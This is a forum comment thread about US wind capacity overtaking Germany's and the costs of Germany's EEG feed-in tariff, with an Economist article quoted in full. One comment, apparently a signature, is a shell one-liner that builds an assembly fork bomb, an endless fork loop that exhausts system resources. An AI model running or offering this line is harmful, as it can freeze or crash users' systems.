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US Becomes Top Wind Producer; Solar Next
SpuriousLogic sends along a SciAm piece that begins, "The United States overtook Germany as the biggest producer of wind power last year, new figures showed, and will likely take the lead in solar power this year, analysts said on Monday. Even before an expected 'Obama bounce' from a new President who has vowed to boost clean energy, US wind power capacity surged 50 percent last year to 25 gigwatts — enough to power more than five million homes."
The German model of subsidising renewables is not without its problems
http://www.economist.com/business/displaystory.cfm?story_id=10961890
Most of Germany's electricity comes from coal-fired and nuclear plants. But the former are unpopular because of their relatively high greenhouse-gas emissions, and the latter because of the fear of a catastrophic accident. So in 1991 Germany adopted a renewable-energy law, now known as the EEG, which encourages investment by cross-subsidising renewable electricity fed into the grid. The law is popular with those who support the rapid introduction of new clean technology. Stefan Schurig of the World Future Council, a green think-tank in Hamburg, calls it "the best law of its kind worldwide".
The law says electricity produced from renewable sources must be purchased by utilities according to a generous "feed-in tariff" that sets higher-than-market rates and fixes them for 20 years. Roof-mounted photovoltaic systems installed in 2007, for example, can sell power at €0.49 per kilowatt-hour, or about seven times today's wholesale price, until 2027. The fixed rate allows investors to calculate returns and removes uncertainty over financing.
The utilities that buy power at these higher rates pass the extra costs back to their customers in the form of higher electricity bills. This added an average of 1 euro cent per kilowatt-hour to the price of electricity last year, increasing the typical household electricity bill by 5%, or €3 a month. For the country as a whole, the cost was €7.7 billion in 2007, up 38% on the year before. Enthusiasts consider that a small price to jump-start a new industry and start decarbonising the power supply.
Clouds on the horizon
But the government is not so sure. It has proposed a revision to the EEG, which calls for a shift away from solar and towards other forms of renewable energy, and offshore wind in particular. As things stand, the feed-in tariff for solar goes down by 5% every year. But new proposals call for a cut of 9.2% next year, and 7-8% thereafter.
The problem is not just the expense of the existing law. Cheerleaders for solar had hoped that the increased demand for panels would help manufacturers reduce unit costs, and thus make solar more competitive in the long run. Instead, the rush into solar has led to a shortage of the high-grade silicon used to make the cells, which has soared in price from $25 per kilogram in 2003 to around $400 today.
Indeed, such is the demand for solar panels in Germany that it has kept prices high globally. This is wonderful for manufacturers, but makes it more expensive to install solar capacity in sunnier parts of the world, where it would generate more electricity. The EEG's generous rates for solar amounted to "picking winners on a grand scale", says Dieter Helm, an expert on energy policy at the University of Oxford. A euro in cross-subsidies spent on wind power, rather than solar, produces more generating capacity and a larger reduction in carbon emissions.
Basically if you subsidise the wrong thing, you can potentially hurt more than you help. Picking the right things to subsidise is non trivial.
Hell if planned economies worked, India and the UK would have grown faster than free market places like the US in the 50's and 60's. Actually, despite being poorer, they grew more slowly until they implemented free market reforms.
Now traditionally greens seem to see economic growth as some kind of problem because it usually leads to more pollution, but in the case of the renewable energy industry, more growth actually means less pollution.
And actually the EEG is a fairly lightweight piece of government intervention, adding only 5% to bills.
To misquote Socrates "True knowledge exists in knowing that the Government knows nothing."
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It would be more fair to calculate per inhabitant, not per square meter. A quick look on Wikipedia tells us that the US has 82 Watts installed capacity per inhabitant. Spain has 3.5 times as much, Germany 4.4 and little Denmark outperforms the US by 7 to 1. Denmark would like to get 50% of its electricity from wind power in the future. Denmark uses cross-border trading with Norway to balance supply/demand. The Norwegians have a lot of hydro which they can turn on/off rather quickly. So denmark sells power to Norway when there is wind, and buys it back when there isn't.
10 ?"Hello World" life was simple then
Most of the "solar stuff" you see at the roof is not solar-power, it's "solar-thermie". To produce warm water while the sun is shining. cheers
Yeah and Denmark gets pissy about Sweden's nuclear power plant and we have to shut it down.:(
As I understood it, it was because Sweden put one (the one the danish goverment tried to shut down) 20 km from the danish Capitol and largest city, Copenhagen - see e.g. http://en.wikipedia.org/wiki/Barseb%C3%A4ck_nuclear_power_plant AFAIK, the rest wasn't a problem.
I have a relative who is an executive for a solar company. It turns out that, for now, it's not about climate or size - it's about the subsidies.
Germany started giving *crazy* subsidies each year to renewable energy source, enough to make producing them viable. Each year, the amount of power delivered went up (kicking in economies of scale) and the subsidies went down.
The Germans built the seeds of the solar industry by subsidizing them get up to the scale needed where they can stand on their own (almost: right now, there's an over-capacity, so the makers have to take their product to other countries or shrink. The Germans still have a small subsidy, but the companies might even be able to live without right now).
It's the only "personal" example I have of public-private partnerships working out well. (The other "personal" example is the US ethanol industry, and it's kind of an example of what not to do).